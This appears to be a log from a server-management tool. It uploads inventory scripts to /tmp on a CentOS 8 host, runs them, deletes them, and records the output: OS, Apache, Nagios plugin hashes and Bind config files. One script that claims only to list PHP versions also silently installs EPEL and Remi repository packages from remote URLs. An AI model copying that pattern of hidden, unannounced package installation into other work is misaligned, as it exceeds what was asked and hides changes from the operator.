show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-10-22 12:26:12:
chmod 755 /tmp/pkp772366; /tmp/pkp772366; rm /tmp/pkp772366
2025-10-22 12:26:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/centos-release
CentOS Linux release 8.5.2111
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/redhat-release
CentOS Linux release 8.5.2111
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/system-release
CentOS Linux release 8.5.2111
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
NAME="CentOS Linux"
VERSION="8"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="8"
PLATFORM_ID="platform:el8"
PRETTY_NAME="CentOS Linux 8"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:8"
HOME_URL="https://centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-8"
CENTOS_MANTISBT_PROJECT_VERSION="8"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/dev/dm-1 partition 2097148 57600 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
messier
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 4.18.0-240.15.1.el8_3.x86_64
2025-10-22 12:26:12:
PUT: /tmp/pkp226565
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-10-22 12:26:13:
chmod 755 /tmp/pkp226565; /tmp/pkp226565; rm /tmp/pkp226565
2025-10-22 12:26:13:
[httpd]
[Wed Oct 22 12:26:13.629798 2025] [so:warn] [pid 350973:tid 139872677992768] AH01574: module status_module is already loaded, skipping
Server version: Apache/2.4.37 (centos)
Server built: Nov 4 2020 03:20:37
Server's Module Magic Number: 20120211:83
Server loaded: APR 1.6.3, APR-UTIL 1.6.1
Compiled using: APR 1.6.3, APR-UTIL 1.6.1
Architecture: 64-bit
Server MPM: event
threaded: yes (fixed thread count)
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/httpd"
-D SUEXEC_BIN="/usr/sbin/suexec"
-D DEFAULT_PIDLOG="run/httpd.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="conf/mime.types"
-D SERVER_CONFIG_FILE="conf/httpd.conf"
Script started on 2025-10-22 12:26:13+00:00
[Wed Oct 22 12:26:13.629798 2025] [so:warn] [pid 350973:tid 139872677992768] AH01574: module status_module is already loaded, skipping
Server version: Apache/2.4.37 (centos)
Server built: Nov 4 2020 03:20:37
Server's Module Magic Number: 20120211:83
Server loaded: APR 1.6.3, APR-UTIL 1.6.1
Compiled using: APR 1.6.3, APR-UTIL 1.6.1
Architecture: 64-bit
Server MPM: event
threaded: yes (fixed thread count)
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/httpd"
-D SUEXEC_BIN="/usr/sbin/suexec"
-D DEFAULT_PIDLOG="run/httpd.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="conf/mime.types"
-D SERVER_CONFIG_FILE="conf/httpd.conf"
Script done on 2025-10-22 12:26:13+00:00
available=conf.d
2025-10-22 12:26:13:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 1,
'name' => 'messier',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'CentOS Linux 8.5.2111',
'mac' => 0,
'rel' => '8.5.2111',
'distro' => 'centos',
'swapfile' => '/dev/dm-1',
'web' =>
array (
'Wed Oct 22 12:26:13.629798 2025' =>
array (
'conf' => 'conf/httpd.conf',
'available' => 'conf.d',
),
),
)
2025-10-22 12:26:13:
PUT: /tmp/pkp143408
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/etc/yum.repos.d/remi-php73.repo" ]; then
yum -y install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm > /dev/null 2>&1
yum -y install http://rpms.remirepo.net/enterprise/remi-release-8.rpm > /dev/null 2>&1
fi
if [ ! -f "/usr/bin/yum-config-manager" ]; then
yum -y install yum-utils > /dev/null 2>&1
fi
for filename in /etc/yum.repos.d/rem*.repo; do
show_file $filename
done
fi
gzip -cn9 $temp_file
rm $temp_file
2025-10-22 12:26:14:
chmod 755 /tmp/pkp143408; /tmp/pkp143408; rm /tmp/pkp143408
2025-10-22 12:26:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/yum.repos.d/rem*.repo
STDERR:
cat: '/etc/yum.repos.d/rem*.repo': No such file or directory
2025-10-22 12:26:18:
PUT: /tmp/pkp963878
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 12:26:19:
chmod 755 /tmp/pkp963878; /tmp/pkp963878; rm /tmp/pkp963878
2025-10-22 12:26:19:
(gzipped output)
bin(/usr/local/nagios/libexec/check_apt)= 2bbca7044227bffb9b3168d71bf478ee
bin(/usr/local/nagios/libexec/check_cluster)= 333d27e2269e00826eec2195abbec2bc
bin(/usr/local/nagios/libexec/check_disk)= ec0aec528fd5a81b0ad40c4d5085c3a9
bin(/usr/local/nagios/libexec/check_dummy)= 956cbbde4a102afbdbbb9064ec8fe9e0
bin(/usr/local/nagios/libexec/check_http)= ddd428e4ffb285fb89c532382836d598
bin(/usr/local/nagios/libexec/check_load)= b3711310df82e58581aed67bd1a2c84c
bin(/usr/local/nagios/libexec/check_mrtg)= 5deebfb2cc9c9f6a0ce96369c4e8298d
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 4c8f07ef31dad8686e183da08460e9b7
bin(/usr/local/nagios/libexec/check_ntp)= 95103c78da699bea84e6295e7432d59b
bin(/usr/local/nagios/libexec/check_ntp_peer)= 72ac5ffc94e807c3c7aa07d2988e76a2
bin(/usr/local/nagios/libexec/check_nwstat)= 1c7c31bff91cb1551ee9ad615e7022ab
bin(/usr/local/nagios/libexec/check_overcr)= 03643d53d43d8e19e59e3277cc80b1c5
bin(/usr/local/nagios/libexec/check_ping)= 8cf23bb0dd8d18d944f45b4faa8c7d78
bin(/usr/local/nagios/libexec/check_real)= 578fc15fc6896378b1394b4240084d03
bin(/usr/local/nagios/libexec/check_smtp)= 08b35774427b6d7be34ab0025e7fd635
bin(/usr/local/nagios/libexec/check_ssh)= 4f7f67162e88ca436bf736788c4739d6
bin(/usr/local/nagios/libexec/check_tcp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_time)= 1da07f652ccdd42858b4df59fa4bf783
bin(/usr/local/nagios/libexec/check_ntp_time)= e4c59b23650dfbfac4aed9575799a02e
bin(/usr/local/nagios/libexec/check_ups)= fb422cdf25994339e23bc0888c241edd
bin(/usr/local/nagios/libexec/check_users)= 5f049714e16a1cfc6ce7efa0dcefc96e
bin(/usr/local/nagios/libexec/check_pgsql)= b44e0c96be0eb366daef447ff75ad272
bin(/usr/local/nagios/libexec/check_ldap)= bdd3b5ae5ad2214c9bc6c2aa39166114
bin(/usr/local/nagios/libexec/check_ide_smart)= 62c8f9ad745d9976e5cdee9d257ffd07
bin(/usr/local/nagios/libexec/check_uptime)= 97a5b432635e17c17470040dda8e1a36
bin(/usr/local/nagios/libexec/check_mysql)= b62ce000678efc59c90bd7cf05371639
bin(/usr/local/nagios/libexec/check_mysql_query)= f0a1cb779cbfccdbdb1c9edf418a8782
bin(/usr/local/nagios/libexec/check_procs)= 96b46127c918c6ef97593ecafde31d9d
bin(/usr/local/nagios/libexec/check_nagios)= 2ebd1687684f1f4e59228052c52e8e71
bin(/usr/local/nagios/libexec/check_by_ssh)= 3348d3a203576e8a4ec02c01623aefcc
bin(/usr/local/nagios/libexec/check_swap)= cc28aaab8eb075231ac5d039124c57ff
bin(/usr/local/nagios/libexec/check_nt)= bce5a2a2fcf825828378b88a943e8320
bin(/usr/local/nagios/libexec/check_ftp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_imap)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_nntp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_pop)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_udp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_clamd)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_simap)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_spop)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_jabber)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_nntps)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_ssmtp)= 6227346a2f4ae496208278e044dcc5c1
bin(/usr/local/nagios/libexec/check_ldaps)= bdd3b5ae5ad2214c9bc6c2aa39166114
bin(/usr/local/nagios/libexec/check_breeze)= e6b2800f0a64ff552176dd62e1250c26
bin(/usr/local/nagios/libexec/check_disk_smb)= f7005b432f2eeb47ea19efe9991efce3
bin(/usr/local/nagios/libexec/check_flexlm)= 9e5fe4c175332f3598b4b6bf6519d3ca
bin(/usr/local/nagios/libexec/check_ircd)= cc26fb73fb1f31035523a1915e7e53f4
bin(/usr/local/nagios/libexec/check_log)= 397ee90aa10733fb26ed3eeb25599cf5
bin(/usr/local/nagios/libexec/check_oracle)= cef595059e8c65d4a2a0626079c96997
bin(/usr/local/nagios/libexec/check_rpc)= 4abb27b2d9d731e72ea8edb9e162153a
bin(/usr/local/nagios/libexec/check_sensors)= 7c488149c4386947a1c6a1dfaa81da09
bin(/usr/local/nagios/libexec/check_wave)= 0fa44d4db4e23c115f6365bc59bf3261
bin(/usr/local/nagios/libexec/check_ifstatus)= d752595242ad7db366285fd407eda8ac
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 1bc7abbb0869db9594d8c6f0ca57679e
bin(/usr/local/nagios/libexec/check_mailq)= aeac4c99edd031883493f9cce4592206
bin(/usr/local/nagios/libexec/check_file_age)= 13a389534c1522e149ba455a7268abf3
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= cce4d550ec2be290ff1fb80a61340950
bin(/usr/local/nagios/libexec/check_icmp)= 8da542afa0539f641f92a94937fb3730
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
2025-10-22 12:26:20: Establishing a connection
2025-10-22 12:26:20: Establishing a connection
2025-10-22 12:26:20:
PUT: /tmp/pkp388124
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-22 12:26:20:
runuser -l bind -s /bin/bash -c '/tmp/pkp388124; rm /tmp/pkp388124'
2025-10-22 12:26:21:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
